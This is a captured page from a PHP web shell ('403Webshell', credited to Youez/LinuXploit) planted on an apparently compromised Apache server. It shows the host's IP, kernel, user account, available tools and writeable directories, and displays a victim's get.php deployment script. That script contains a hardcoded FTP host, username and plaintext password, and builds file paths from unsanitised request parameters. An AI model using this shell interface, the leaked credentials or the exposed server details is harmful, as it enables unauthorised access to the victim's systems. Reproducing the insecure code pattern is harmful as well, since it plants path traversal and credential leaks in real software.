403Webshell
Server IP : 51.89.169.208  /  Your IP : 3.148.107.92
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/_git/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/_git/get.php
<html><head>
        <style>
        .diff td{
            vertical-align : top;
            white-space    : pre;
            white-space    : pre-wrap;
            font-family    : monospace;
        }
        .diffUnmodified { background-color: #BAF4FA; }
        .diffDeleted { background-color: #EEB4B4; }
        .diffInserted { background-color: #A9F2A4; }
        </style>
</head>
<body>

<?
ini_set('max_execution_time', 800);
ini_set('memory_limit', '100M');
include_once 'accesscontrol.php';

$p = addslashes($_GET['p']);
$f = addslashes($_GET['f']);
$sql = addslashes($_GET['sql']);
$sqlid = addslashes($_GET['sqlid']);
$datebase = addslashes($_GET['datebase']);


echo $datebase ? '<h1>Comparing Previous file from Database with Live file</h1><hr>' : '<h1>Comparing Dev Server file with Live file</h1><hr>';



$ofilenale = $f;
$remotepath = $p.$f;

$f = 'NEW_'.$f;

$folderpath = '/home/postcode/public_html/yellowleaf.co.uk/'.$p;
$destpath = '/home/postcode/public_html/yellowleaf.co.uk/'.$p.$f;
$originalpath = '/home/postcode/public_html/yellowleaf.co.uk/'.$p.$ofilenale;



if($datebase) {
    include_once '../connect_db.php';
        $sql = $connect->query('SELECT content FROM `git` WHERE id="'.addslashes($sqlid).'" LIMIT 1') or die($connect->error);
        $row = $sql->fetch_array(MYSQLI_ASSOC);
        $content = $row['content'];
        $makefile = fopen($destpath, "w");
        fwrite($makefile, $content);
}else {

    $ftp_server = "ftp.yellowdev.co.uk";$ftp_user_name =  "staff@yellowdev.co.uk";$ftp_user_pass =  "sumon455!T";
    $ftp = ftp_connect($ftp_server);
    $login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

        if(@ftp_get($ftp, $destpath, $remotepath, FTP_BINARY)) {

    }else {
       echo "Error: this path may not exist $folderpath<br><br>
       <a href=\"/_git/make-folder.php?p=$folderpath\">Click here to make this folder ></a>";
    }
}

if (file_exists($destpath)) {

if (!file_exists($originalpath)) { $originalpath = 'no-file-found.txt'; }

//echo filemtime($destpath);



require_once 'class.Diff.php';
echo '<a href="live.php?p='.$p.'&f='.$f.'&datebase='.$datebase.'">Make this live on LIVE server ></a><hr><br><br>';
echo "Dev server on the RIGHT, live server on the LEFT<hr>";
echo Diff::toTable( Diff::compareFiles($originalpath, $destpath) );

}


?>
</body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit